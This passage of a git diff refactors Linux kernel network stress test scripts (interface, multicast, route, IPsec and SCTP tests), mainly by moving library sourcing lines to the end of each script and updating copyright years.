$2 } +. ipsec_lib.sh tst_run diff --git a/testcases/network/stress/icmp/icmp-uni-vti.sh b/testcases/network/stress/icmp/icmp-uni-vti.sh index 18bc71cf..ea3e4c45 100755 --- a/testcases/network/stress/icmp/icmp-uni-vti.sh +++ b/testcases/network/stress/icmp/icmp-uni-vti.sh @@ -1,13 +1,12 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev TST_TESTFUNC=do_test TST_SETUP=do_setup TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh do_setup() { @@ -21,4 +20,5 @@ do_test() tst_ping -I $tst_vti -H $ip_rmt_tun -s $2 } +. ipsec_lib.sh tst_run diff --git a/testcases/network/stress/interface/if-addr-adddel.sh b/testcases/network/stress/interface/if-addr-adddel.sh index f8f0d11d..0750501f 100755 --- a/testcases/network/stress/interface/if-addr-adddel.sh +++ b/testcases/network/stress/interface/if-addr-adddel.sh @@ -1,15 +1,11 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2017-2018 Petr Vorel +# Copyright (c) 2017-2022 Petr Vorel # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved. # Copyright (c) International Business Machines Corp., 2005 # Author: Mitsuru Chinen IF_CMD='ifconfig' -. if-lib.sh - -# The interval of the check interface activity -CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))} test_body() { @@ -89,4 +85,9 @@ test_body() tst_res TPASS "Test is finished correctly" } +. if-lib.sh + +# The interval of the check interface activity +CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))} + tst_run diff --git a/testcases/network/stress/interface/if-addr-addlarge.sh b/testcases/network/stress/interface/if-addr-addlarge.sh index 3cf7397e..d0759c86 100755 --- a/testcases/network/stress/interface/if-addr-addlarge.sh +++ b/testcases/network/stress/interface/if-addr-addlarge.sh @@ -1,15 +1,11 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2017-2018 Petr Vorel +# Copyright (c) 2017-2022 Petr Vorel # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved. # Copyright (c) International Business Machines Corp., 2005 # Author: Mitsuru Chinen IF_CMD='ifconfig' -. if-lib.sh - -# The interval of the check interface activity -CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IP_TOTAL / 20))} test_body() { @@ -110,4 +106,9 @@ test_body() tst_res TPASS "Test is finished correctly" } +. if-lib.sh + +# The interval of the check interface activity +CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IP_TOTAL / 20))} + tst_run diff --git a/testcases/network/stress/interface/if-lib.sh b/testcases/network/stress/interface/if-lib.sh index b398be1a..b6f7668f 100755 --- a/testcases/network/stress/interface/if-lib.sh +++ b/testcases/network/stress/interface/if-lib.sh @@ -1,16 +1,19 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Author: Petr Vorel CMD="${CMD:-ip}" -TST_SETUP="${TST_SETUP:-if_setup}" +if [ -z "$TST_SETUP" ]; then + TST_SETUP="if_setup" + TST_CLEANUP="${TST_CLEANUP:-netstress_cleanup}" +fi + TST_TESTFUNC="test_body" TST_PARSE_ARGS="if_parse_args" TST_USAGE="if_usage" TST_OPTS="c:" -. tst_net_stress.sh if_usage() { @@ -32,7 +35,6 @@ if_setup() tst_require_cmds "$CMD" netstress_setup - TST_CLEANUP="${TST_CLEANUP:-netstress_cleanup}" } if_cleanup_restore() @@ -41,3 +43,5 @@ if_cleanup_restore() restore_ipaddr restore_ipaddr rhost } + +. tst_net_stress.sh diff --git a/testcases/network/stress/interface/if-mtu-change.sh b/testcases/network/stress/interface/if-mtu-change.sh index d57f0bbe..cabc5d4c 100755 --- a/testcases/network/stress/interface/if-mtu-change.sh +++ b/testcases/network/stress/interface/if-mtu-change.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2017-2021 Petr Vorel +# Copyright (c) 2017-2022 Petr Vorel # Copyright (c) 2015-2017 Oracle and/or its affiliates. All Rights Reserved. # Copyright (c) International Business Machines Corp., 2005 # Author: Mitsuru Chinen @@ -8,17 +8,6 @@ IF_CMD='ifconfig' TST_SETUP="do_setup" TST_CLEANUP="do_cleanup" -. if-lib.sh - -# CHANGE_INTERVAL: The interval of the mtu change -TST_TIMEOUT=1 -if tst_net_use_netns; then - CHANGE_INTERVAL=${CHANGE_INTERVAL:-100ms} -else - CHANGE_INTERVAL=${CHANGE_INTERVAL:-5} -fi -tst_is_int $CHANGE_INTERVAL && TST_TIMEOUT=$CHANGE_INTERVAL -TST_TIMEOUT=$(((TST_TIMEOUT + 30) * MTU_CHANGE_TIMES)) # The array of the value which MTU is changed into sequentially # 552 - net.ipv4.route.min_pmtu @@ -28,6 +17,36 @@ saved_mtu= MAX_PACKET_SIZE=65507 +do_setup() +{ + # CHANGE_INTERVAL: The interval of the mtu change + if tst_net_use_netns; then + CHANGE_INTERVAL=${CHANGE_INTERVAL:-100ms} + else + CHANGE_INTERVAL=${CHANGE_INTERVAL:-5} + fi + + local timeout=1 + tst_is_int $CHANGE_INTERVAL && timeout=$CHANGE_INTERVAL + tst_set_timeout $(((timeout + 30) * MTU_CHANGE_TIMES)) + + [ "$TST_IPV6" ] && CHANGE_VALUES=$CHANGE6_VALUES + + if_setup + saved_mtu="$(cat /sys/class/net/$(tst_iface)/mtu)" + [ "$TST_IPV6" ] || find_ipv4_max_packet_size +} + +do_cleanup() +{ + if_cleanup_restore + + if [ "$saved_mtu" ]; then + ip link set $(tst_iface) mtu $saved_mtu + tst_rhost_run -c "ip link set $(tst_iface rhost) mtu $saved_mtu" + fi +} + set_mtu() { local mtu="$1" @@ -68,24 +87,6 @@ find_ipv4_max_packet_size() tst_brk TBROK "failed to find max MTU" } -do_setup() -{ - - [ "$TST_IPV6" ] && CHANGE_VALUES=$CHANGE6_VALUES - if_setup - saved_mtu="$(cat /sys/class/net/$(tst_iface)/mtu)" - [ "$TST_IPV6" ] || find_ipv4_max_packet_size -} - -do_cleanup() -{ - if_cleanup_restore - if [ "$saved_mtu" ]; then - ip link set $(tst_iface) mtu $saved_mtu - tst_rhost_run -c "ip link set $(tst_iface rhost) mtu $saved_mtu" - fi -} - test_body() { local cmd="$CMD" @@ -117,4 +118,5 @@ test_body() done } +. if-lib.sh tst_run diff --git a/testcases/network/stress/interface/if-route-adddel.sh b/testcases/network/stress/interface/if-route-adddel.sh index 45ca5d51..51445e4f 100755 --- a/testcases/network/stress/interface/if-route-adddel.sh +++ b/testcases/network/stress/interface/if-route-adddel.sh @@ -1,14 +1,11 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2017-2018 Petr Vorel +# Copyright (c) 2017-2022 Petr Vorel # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved. # Copyright (c) International Business Machines Corp., 2005 # Author: Mitsuru Chinen IF_CMD='route' -. if-lib.sh - -CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))} test_body() { @@ -64,4 +61,8 @@ test_body() tst_res TPASS "Test is finished correctly" } +. if-lib.sh + +CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))} + tst_run diff --git a/testcases/network/stress/interface/if-route-addlarge.sh b/testcases/network/stress/interface/if-route-addlarge.sh index 14de3f6c..355b6b4a 100755 --- a/testcases/network/stress/interface/if-route-addlarge.sh +++ b/testcases/network/stress/interface/if-route-addlarge.sh @@ -1,14 +1,11 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2017-2018 Petr Vorel +# Copyright (c) 2017-2022 Petr Vorel # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved. # Copyright (c) International Business Machines Corp., 2005 # Author: Mitsuru Chinen IF_CMD='route' -. if-lib.sh - -CHECK_INTERVAL=${CHECK_INTERVAL:-$(($ROUTE_TOTAL / 20))} test_body() { @@ -76,4 +73,8 @@ test_body() tst_res TPASS "Test is finished correctly" } +. if-lib.sh + +CHECK_INTERVAL=${CHECK_INTERVAL:-$(($ROUTE_TOTAL / 20))} + tst_run diff --git a/testcases/network/stress/interface/if-updown.sh b/testcases/network/stress/interface/if-updown.sh index 094e57ac..71c78d78 100755 --- a/testcases/network/stress/interface/if-updown.sh +++ b/testcases/network/stress/interface/if-updown.sh @@ -1,15 +1,12 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2017-2018 Petr Vorel +# Copyright (c) 2017-2022 Petr Vorel # Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved. # Copyright (c) International Business Machines Corp., 2005 # Author: Mitsuru Chinen IF_CMD='ifconfig' TST_CLEANUP="if_cleanup_restore" -. if-lib.sh - -CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IF_UPDOWN_TIMES / 20))} test_body() { @@ -47,4 +44,8 @@ test_body() tst_res TPASS "Test is finished correctly" } +. if-lib.sh + +CHECK_INTERVAL=${CHECK_INTERVAL:-$(($IF_UPDOWN_TIMES / 20))} + tst_run diff --git a/testcases/network/stress/interface/if4-addr-change.sh b/testcases/network/stress/interface/if4-addr-change.sh index 5af8fb98..f162e6a5 100755 --- a/testcases/network/stress/interface/if4-addr-change.sh +++ b/testcases/network/stress/interface/if4-addr-change.sh @@ -8,9 +8,7 @@ TST_CLEANUP="do_cleanup" TST_TESTFUNC="test_body" TST_NEEDS_CMDS="ifconfig" -. tst_net.sh -CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))} # Maximum host portion of the IPv4 address on the local host LHOST_IPV4_HOST_MAX="254" @@ -61,4 +59,8 @@ test_body() tst_ping } +. tst_net.sh + +CHECK_INTERVAL=${CHECK_INTERVAL:-$(($NS_TIMES / 20))} + tst_run diff --git a/testcases/network/stress/ipsec/ipsec_lib.sh b/testcases/network/stress/ipsec/ipsec_lib.sh index 99fed080..27f2595f 100755 --- a/testcases/network/stress/ipsec/ipsec_lib.sh +++ b/testcases/network/stress/ipsec/ipsec_lib.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2016 Red Hat Inc., All Rights Reserved. # Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved. # Author: Hangbin Liu @@ -16,6 +16,11 @@ CALGO="deflate" IPSEC_REQUESTS="500" +TST_OPTS="l:m:p:s:S:k:A:e:a:c:r:" +TST_PARSE_ARGS=ipsec_lib_parse_args +TST_SETUP=${TST_SETUP:-ipsec_lib_setup} +TST_USAGE=ipsec_lib_usage + ipsec_lib_usage() { echo "l n n is the number of test link when tests run" @@ -89,12 +94,6 @@ ipsec_lib_setup() fi } -TST_OPTS="l:m:p:s:S:k:A:e:a:c:r:" -TST_PARSE_ARGS=ipsec_lib_parse_args -TST_SETUP=${TST_SETUP:-ipsec_lib_setup} -TST_USAGE=ipsec_lib_usage -. tst_net.sh - get_key() { local bits=$1 @@ -318,3 +317,5 @@ tst_ipsec_setup_vti() ROD ip addr add $ip_loc_tun/$mask dev $tst_vti $address_opt tst_rhost_run -s -c "ip addr add $ip_rmt_tun/$mask dev $tst_vti" } + +. tst_net.sh diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket.sh b/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket.sh index abd2dabb..00409839 100755 --- a/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket.sh +++ b/testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket.sh @@ -9,7 +9,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="do_setup" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_setup() { @@ -28,4 +27,5 @@ do_test() do_multicast_test_multiple_join $MCASTNUM_HEAVY true } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-same-group.sh b/testcases/network/stress/multicast/grp-operation/mcast-group-same-group.sh index 33df2e42..cc1bd00a 100755 --- a/testcases/network/stress/multicast/grp-operation/mcast-group-same-group.sh +++ b/testcases/network/stress/multicast/grp-operation/mcast-group-same-group.sh @@ -9,7 +9,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_test() { @@ -17,4 +16,5 @@ do_test() do_multicast_test_join_leave $MCASTNUM_NORMAL } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket.sh b/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket.sh index 10c65918..00d0f150 100755 --- a/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket.sh +++ b/testcases/network/stress/multicast/grp-operation/mcast-group-single-socket.sh @@ -9,7 +9,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="do_setup" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_setup() { @@ -22,4 +21,5 @@ do_test() do_multicast_test_multiple_join $MCASTNUM_HEAVY } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter.sh b/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter.sh index 19bd426a..0da2f5f6 100755 --- a/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter.sh +++ b/testcases/network/stress/multicast/grp-operation/mcast-group-source-filter.sh @@ -9,7 +9,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_test() { @@ -17,4 +16,5 @@ do_test() do_multicast_test_join_leave $MCASTNUM_NORMAL true } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/grp-operation/mcast-lib.sh b/testcases/network/stress/multicast/grp-operation/mcast-lib.sh index cfc8a1b4..30368b07 100755 --- a/testcases/network/stress/multicast/grp-operation/mcast-lib.sh +++ b/testcases/network/stress/multicast/grp-operation/mcast-lib.sh @@ -1,13 +1,11 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2017-2021 Petr Vorel +# Copyright (c) 2017-2022 Petr Vorel # Copyright (c) International Business Machines Corp., 2006 # Author: Petr Vorel # # Setup script for multicast stress tests. -. tst_net_stress.sh - mcast_setup4() { local igmp_max_memberships="$1" @@ -29,7 +27,6 @@ mcast_setup4() mcast_setup6() { local default_mld_max_msf=64 - tst_kvcmp -lt '2.6.15' && default_mld_max_msf=10 SYSCTL_ALL_FORCE_MLD_VERSION=$(sysctl -b net.ipv6.conf.all.force_mld_version) SYSCTL_FORCE_MLD_VERSION=$(sysctl -b net.ipv6.conf.$(tst_iface).force_mld_version) @@ -164,3 +161,5 @@ do_multicast_test_join_single_socket() [ "$TST_IPV6" ] && params="-S $(tst_ipaddr) -m" EXPECT_RHOST_PASS $MCAST_RCMD -t $NS_DURATION -r 0 $params $extra } + +. tst_net_stress.sh diff --git a/testcases/network/stress/multicast/packet-flood/mcast-pktfld01.sh b/testcases/network/stress/multicast/packet-flood/mcast-pktfld01.sh index cc1b8410..52138d22 100755 --- a/testcases/network/stress/multicast/packet-flood/mcast-pktfld01.sh +++ b/testcases/network/stress/multicast/packet-flood/mcast-pktfld01.sh @@ -12,7 +12,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal_udp" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_test() { @@ -33,4 +32,5 @@ do_test() tst_res TPASS "test finished successfully" } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/packet-flood/mcast-pktfld02.sh b/testcases/network/stress/multicast/packet-flood/mcast-pktfld02.sh index 3394e026..59c88806 100755 --- a/testcases/network/stress/multicast/packet-flood/mcast-pktfld02.sh +++ b/testcases/network/stress/multicast/packet-flood/mcast-pktfld02.sh @@ -13,7 +13,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal_udp" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_test() { @@ -50,4 +49,5 @@ do_test() tst_res TPASS "test finished successfully" } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld01.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld01.sh index e8002672..d23cc0f1 100755 --- a/testcases/network/stress/multicast/query-flood/mcast-queryfld01.sh +++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld01.sh @@ -13,7 +13,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_test() { @@ -23,4 +22,5 @@ do_test() do_multicast_test_join_single_socket } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld02.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld02.sh index 8773bd86..7c1cda2d 100755 --- a/testcases/network/stress/multicast/query-flood/mcast-queryfld02.sh +++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld02.sh @@ -14,7 +14,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_test() { @@ -27,4 +26,5 @@ do_test() do_multicast_test_join_single_socket "$extra" } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld03.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld03.sh index 8ab9af54..7bac7e7d 100755 --- a/testcases/network/stress/multicast/query-flood/mcast-queryfld03.sh +++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld03.sh @@ -13,7 +13,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh SRC_ADDR_IPV4="10.10.10.1" SRC_ADDR_IPV6="fec0:100:100:100::1" @@ -41,4 +40,5 @@ do_test() EXPECT_RHOST_PASS $MCAST_RCMD -t $NS_DURATION -r 0 $params } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld04.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld04.sh index 5947562f..25923b23 100755 --- a/testcases/network/stress/multicast/query-flood/mcast-queryfld04.sh +++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld04.sh @@ -12,7 +12,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_test() { @@ -32,4 +31,5 @@ do_test() EXPECT_RHOST_PASS $MCAST_RCMD -t $NS_DURATION -r 0 $params } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld05.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld05.sh index 3c064842..de3d11b1 100755 --- a/testcases/network/stress/multicast/query-flood/mcast-queryfld05.sh +++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld05.sh @@ -13,7 +13,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh do_test() { @@ -52,4 +51,5 @@ do_test() tst_res TPASS "test finished successfully" } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/multicast/query-flood/mcast-queryfld06.sh b/testcases/network/stress/multicast/query-flood/mcast-queryfld06.sh index bda064f7..e0548e16 100755 --- a/testcases/network/stress/multicast/query-flood/mcast-queryfld06.sh +++ b/testcases/network/stress/multicast/query-flood/mcast-queryfld06.sh @@ -13,7 +13,6 @@ TST_NEEDS_TMPDIR=1 TST_SETUP="mcast_setup_normal" TST_CLEANUP="mcast_cleanup" TST_TESTFUNC="do_test" -. mcast-lib.sh SRC_ADDR_IPV4=10.10.10.1 SRC_ADDR_IPV6=fec0:100:100:100::1 @@ -60,4 +59,5 @@ do_test() tst_res TPASS "test finished successfully" } +. mcast-lib.sh tst_run diff --git a/testcases/network/stress/ns-tools/tst_net_stress.sh b/testcases/network/stress/ns-tools/tst_net_stress.sh index 4b00ee7f..6d8c5459 100755 --- a/testcases/network/stress/ns-tools/tst_net_stress.sh +++ b/testcases/network/stress/ns-tools/tst_net_stress.sh @@ -10,8 +10,6 @@ # NOTE: More information about network variables can be found # in tst_net.sh and testcases/network/stress/README. -. tst_net.sh - # Netmask of for the tested network IPV4_NETMASK="255.255.255.0" IPV4_NETMASK_NUM=24 @@ -122,3 +120,5 @@ test_rt_ip() 2) test_body 'ip_cmd';; esac } + +. tst_net.sh diff --git a/testcases/network/stress/route/route-change-dst.sh b/testcases/network/stress/route/route-change-dst.sh index 2d88b5f7..a113f24d 100755 --- a/testcases/network/stress/route/route-change-dst.sh +++ b/testcases/network/stress/route/route-change-dst.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2019-2020 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel # Copyright (c) International Business Machines Corp., 2006 # Author: Mitsuru Chinen # Rewrite into new shell API: Petr Vorel @@ -11,8 +11,6 @@ TST_SETUP="setup" TST_CLEANUP="route_cleanup" TST_TESTFUNC="test_dst" -. route-lib.sh -TST_CNT=$ROUTE_CHANGE_IP setup() { @@ -34,4 +32,6 @@ test_dst() tst_del_ipaddr -s -q -a $rhost rhost } +. route-lib.sh +TST_CNT=$ROUTE_CHANGE_IP tst_run diff --git a/testcases/network/stress/route/route-change-gw.sh b/testcases/network/stress/route/route-change-gw.sh index 6c650bef..58c94e57 100755 --- a/testcases/network/stress/route/route-change-gw.sh +++ b/testcases/network/stress/route/route-change-gw.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2019-2020 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel # Copyright (c) International Business Machines Corp., 2006 # Author: Mitsuru Chinen # Rewrite into new shell API: Petr Vorel @@ -11,8 +11,6 @@ TST_SETUP="setup" TST_CLEANUP="route_cleanup" TST_TESTFUNC="test_gw" -. route-lib.sh -TST_CNT=$ROUTE_CHANGE_IP setup() { @@ -34,4 +32,6 @@ test_gw() tst_del_ipaddr -s -q -a $gw rhost } +. route-lib.sh +TST_CNT=$ROUTE_CHANGE_IP tst_run diff --git a/testcases/network/stress/route/route-change-if.sh b/testcases/network/stress/route/route-change-if.sh index 7e9c15fe..665adceb 100755 --- a/testcases/network/stress/route/route-change-if.sh +++ b/testcases/network/stress/route/route-change-if.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2019-2020 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel # Copyright (c) International Business Machines Corp., 2006 # Author: Mitsuru Chinen # Rewrite into new shell API: Petr Vorel @@ -11,8 +11,6 @@ TST_SETUP="setup" TST_CLEANUP="cleanup_if" TST_TESTFUNC="test_if" -. route-lib.sh -TST_CNT=$ROUTE_CHANGE_IP setup() { @@ -38,4 +36,6 @@ test_if() tst_del_ipaddr -s -q -a $gw rhost $link_num } +. route-lib.sh +TST_CNT=$ROUTE_CHANGE_IP tst_run diff --git a/testcases/network/stress/route/route-change-netlink-dst.sh b/testcases/network/stress/route/route-change-netlink-dst.sh index 0740d096..7e8fd99a 100755 --- a/testcases/network/stress/route/route-change-netlink-dst.sh +++ b/testcases/network/stress/route/route-change-netlink-dst.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2020 Petr Vorel +# Copyright (c) 2020-2022 Petr Vorel # # Change route destination via netlink # rhost: 10.23.x.1 @@ -9,7 +9,6 @@ TST_SETUP="setup" TST_CLEANUP="route_cleanup" TST_TESTFUNC="test_netlink" -. route-lib.sh setup() { @@ -33,4 +32,5 @@ setup() ROUTE_CHANGE_NETLINK_PARAMS="-d $(tst_iface) -r '$rhost_all'" } +. route-lib.sh tst_run diff --git a/testcases/network/stress/route/route-change-netlink-gw.sh b/testcases/network/stress/route/route-change-netlink-gw.sh index 3119a1b3..574977fc 100755 --- a/testcases/network/stress/route/route-change-netlink-gw.sh +++ b/testcases/network/stress/route/route-change-netlink-gw.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2020 Petr Vorel +# Copyright (c) 2020-2022 Petr Vorel # # Change route gateway via netlink # gw (on rhost): 10.23.1.x, rhost: 10.23.0.1 @@ -9,7 +9,6 @@ TST_SETUP="setup" TST_CLEANUP="route_cleanup" TST_TESTFUNC="test_netlink" -. route-lib.sh setup() { @@ -30,4 +29,5 @@ setup() ROUTE_CHANGE_NETLINK_PARAMS="-d $(tst_iface) -g "$gw_all" -r $rhost" } +. route-lib.sh tst_run diff --git a/testcases/network/stress/route/route-change-netlink-if.sh b/testcases/network/stress/route/route-change-netlink-if.sh index d1e64a40..a28de02f 100755 --- a/testcases/network/stress/route/route-change-netlink-if.sh +++ b/testcases/network/stress/route/route-change-netlink-if.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2020 Petr Vorel +# Copyright (c) 2020-2022 Petr Vorel # # Change route interface # gw (on rhost): 10.23.x.1, rhost: 10.23.0.1, switching ifaces on lhost @@ -9,7 +9,6 @@ TST_SETUP="setup" TST_CLEANUP="cleanup_if" TST_TESTFUNC="test_netlink" -. route-lib.sh setup() { @@ -36,4 +35,5 @@ setup() ROUTE_CHANGE_NETLINK_PARAMS="-d '$iface_all' -g '$gw_all' -r $rhost" } +. route-lib.sh tst_run diff --git a/testcases/network/stress/route/route-change-netlink.c b/testcases/network/stress/route/route-change-netlink.c index dcc9637a..ace6d4b5 100755 --- a/testcases/network/stress/route/route-change-netlink.c +++ b/testcases/network/stress/route/route-change-netlink.c @@ -21,8 +21,6 @@ #include "tst_safe_stdio.h" #define IP_ADDR_DELIM ',' -#define STR(x) #x -#define CHR2STR(x) STR(x) static char *c_opt, *d_opt, *g_opt, *ipv6_opt, *p_opt, *r_opt; @@ -82,7 +80,7 @@ int save_item(void **list, char *item, void (*callback)(void **, const char *)) { int len = 0; - while ((item = strtok(item, CHR2STR(IP_ADDR_DELIM))) != NULL) { + while ((item = strtok(item, TST_TO_STR(IP_ADDR_DELIM))) != NULL) { callback(list, item); item = NULL; len++; @@ -315,7 +313,7 @@ static struct tst_test test = { {"g:", &g_opt, "Gateway IP"}, {"p:", &p_opt, "Rhost port (mandatory)"}, {"r:", &r_opt, "Rhost IP (mandatory)\n\n-g, -r IP parameter can contain more IP, separated by " - CHR2STR(IP_ADDR_DELIM)}, + TST_TO_STR(IP_ADDR_DELIM)}, {} }, }; diff --git a/testcases/network/stress/route/route-lib.sh b/testcases/network/stress/route/route-lib.sh index 194bd40c..163c1542 100755 --- a/testcases/network/stress/route/route-lib.sh +++ b/testcases/network/stress/route/route-lib.sh @@ -1,10 +1,9 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2019-2020 Petr Vorel +# Copyright (c) 2019-2022 Petr Vorel TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="ip" -. tst_net.sh ROUTE_RHOST_PORT=${ROUTE_RHOST_PORT:-65535} ROUTE_MAX_IP=${ROUTE_MAX_IP:-5} @@ -107,3 +106,5 @@ test_netlink() fi tst_res TPASS "$cmd passed" } + +. tst_net.sh diff --git a/testcases/network/stress/route/route-redirect.sh b/testcases/network/stress/route/route-redirect.sh index d77c37a7..f65e1495 100755 --- a/testcases/network/stress/route/route-redirect.sh +++ b/testcases/network/stress/route/route-redirect.sh @@ -2,6 +2,7 @@ # SPDX-License-Identifier: GPL-2.0-or-later # Copyright (c) 2006 International Business Machines Corp. # Copyright (c) 2020 Joerg Vehlow +# Copyright (c) 2022 Petr Vorel # Author: Mitsuru Chinen # # Verify the kernel is not crashed when the route is modified by @@ -13,8 +14,6 @@ TST_TESTFUNC=do_test TST_NEEDS_ROOT=1 TST_NEEDS_CMDS="ip" -. route-lib.sh - DST_HOST= DST_PORT="7" @@ -59,4 +58,5 @@ do_test() tst_res TPASS "test finished successfully" } +. route-lib.sh tst_run diff --git a/testcases/network/stress/sctp/sctp_ipsec.sh b/testcases/network/stress/sctp/sctp_ipsec.sh index 4ec20416..e9aa950e 100755 --- a/testcases/network/stress/sctp/sctp_ipsec.sh +++ b/testcases/network/stress/sctp/sctp_ipsec.sh @@ -1,6 +1,6 @@ #!/bin/sh # SPDX-License-Identifier: GPL-2.0-or-later -# Copyright (c) 2018 Petr Vorel +# Copyright (c) 2018-2022 Petr Vorel # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved. # Author: Alexey Kodanev @@ -8,7 +8,6 @@ TST_NEEDS_TMPDIR=1 TST_TESTFUNC=do_test TST_SETUP=tst_ipsec_setup TST_CLEANUP=tst_ipsec_cleanup -. ipsec_lib.sh do_test() { @@ -20,4 +19,5 @@ do_test() -r $IPSEC_REQUESTS -S $(tst_ipaddr) } +. ipsec_lib.sh tst_run diff --git 